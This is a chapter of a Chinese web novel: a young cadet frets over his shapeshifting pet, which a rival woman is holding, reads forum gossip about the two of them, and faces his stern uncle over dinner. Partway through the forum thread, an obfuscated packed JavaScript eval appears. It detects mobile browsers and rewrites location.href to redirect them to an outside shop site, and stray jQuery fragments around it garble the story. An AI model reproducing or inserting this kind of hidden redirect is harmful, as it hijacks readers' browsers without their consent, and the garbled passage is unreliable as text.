該死,那個女人搶走他的寵物後,他就覺得比被閹了還難受,眼睛放晴,心裡卻在為它流眼淚。
最開始從二道販子手裡買下它,確實存了為軍校聯賽做準備的心思,但他正式比賽時,發現對手都是群廢物,小家夥又實在可憐弱小,他就沒舍得用。
後來越養越熟,楚瑜更是一刻也離不開它,他以前還對喜歡貓貓狗狗的小女生嗤之以鼻,現在喂它吃飯都夾著嗓子。
楚瑜又捧起手機,對麵隻發來兩條消息,他翻來覆去地琢磨這兩句話......什麼都沒琢磨出來。
有道是,遇事不決,問萬能的論壇。
楚瑜截了屏,發在內部論壇裡,編輯的標題是“她發給我這個,什麼意思?”
帖子下很快有人回複。
[1L:一看樓主就是牡丹,女孩兒的手都沒摸過吧,這很典型啊,你進入考察期了,人家要看你表現來決定你能不能轉正。]
[2L:對麵語氣好dom啊,感覺很難搞,樓主三思。]
[3L:dom怎麼了?你對女dom有什麼意見嗎?]
......
楚瑜一層層看下來,有些明白了。敢情那個可惡的女人打算用他的錘錘吊著他,直到他給出她滿意的金額。
錘錘是他給黑霧起的小名,因為他逗它玩的時候,黑霧總是喜歡變成一把黑色的小錘子。
可是他能不被她吊著嗎?楚瑜想了想,好像不能。
孩子還在她手上。
楚瑜又在對話框裡編輯文字,門外傳來幾道極有節奏的敲門聲。
“楚瑜,你又在搞什麼,吃飯了。”
“好好好,舅舅,我馬上就好!”楚瑜慌亂地按下發送鍵,丟下手機,踩著拖鞋就打開了門。
在他忙著應付楚北傾,無暇他顧的時間裡,剛才那篇帖子已經蓋起了高樓。
[34L:咦,樓主發上來的截屏好像沒有把兩個人的頭像截掉......一個是金毛獅子,一個頭像是係統默認的“宋”。]
[35L:樓上發現了華點,這誰啊,情感貼不打碼不就是想隔空表白嗎?怎麼,網友是你們play的一環啊。]
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12982212|122531||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
[47L:......破案了,那個獅子頭像我朋友列表裡有,是今天內部賽那個身材特彆好的小哥,那個宋......不會是方隊收的,今天打敗了他的那個新人吧。]
[48L:啊,內部賽我沒去看,有圖嗎,我說那個小哥的,最好□□。]
[49L:鏈接.jpg.不謝。]
......
樓層越蓋越高。
[74L:靠,這麼說,這是一出因賽生情,小哥對打敗自己的人一見鐘情,展開瘋狂攻勢?]
[75L:笑死,誰攻誰還不一定呢,我們方隊手下這位新人可辣得很,你沒看內網視頻啊?小哥被錘在地上打。]
[76L:草,我看了那個視頻!姐姐好辣好S我好喜歡!!姐姐真的隻收男sub不收女sub嘛??流淚貓貓頭.jpg.]
......
[98L:我說樓上幾個,你們夠了啊!這個帖子已經被你們頂得標紅了!好歹說話收斂一點啊,不要把管理員招來了!]
空曠的客廳內,隻坐著兩個人,卻擺了一桌子菜。
楚瑜偏過頭打了個噴嚏,重新下筷時還要看一眼對麵人的眼色,他覺得此時的情景,莫名和小時候考差了和他媽同桌吃飯時重疊。
當然,他現在還不知道,自己在論壇的傳聞裡已經變成了舔狗男M。
楚北傾夾了一筷子肉到楚瑜碗裡,楚瑜頓時受寵若驚,慌忙道:“舅舅您吃!您不用管我的!”
楚北傾冷冷掃他一眼,楚瑜後半截話硬生生噎回去,訥訥地低下頭,慢慢吃起碗裡的菜。
須臾,楚北傾慢條斯理道:“方可和我說,你腿腳不好,容易腳滑,讓我給你多補補營養。”
楚瑜頓時抬起頭:“她亂講!小爺我年方二八,正青春,怎麼可能腿不好?”
楚北傾支頤看他:“那你告訴我,你為什麼會跌倒,還一倒下就爬不起來。”
旁人離得遠,台上兩人又挨得太近,看不清當時具體發生了什麼,隻道是楚瑜自己腳滑。但楚北傾再了解自己這個侄子不過,就算有人把他踩在腳下,他都要衝那人吐兩口唾沫再死,怎麼可能束手就擒?
楚北傾定定地看著他,目光凜冽。
楚瑜轉了轉眼珠,一股惡意從心間升起,如果他把宋言身上那些詭異的菌絲告訴舅舅,她一定吃不了兜著走!連方可都保不下一個隨時可能畸變的隊員!
但是......錘錘還在她手裡。
楚瑜覺得腮幫子有些酸,可惡,這種孩子在對方手裡,自己隻能聽之任之,還要幫對方遮掩的感覺太憋屈了,他隻好垂下眼睛,不情不願道:“我......我當時走神了。”
楚北傾嘴邊浮起一個笑,是冷笑:“走神?你怎麼不說你那時候在睡覺呢?”
楚瑜訥訥道:“我沒想到她那麼厲害......”
飯菜升騰起熱氣,模糊了楚瑜的眉目,他看上去像隻垂耳聽訓的貓咪。
良久,他沒有等到預想之中的訓斥,對麵的長輩歎了口氣,最終拿起筷子:“吃飯吧,菜要冷了。”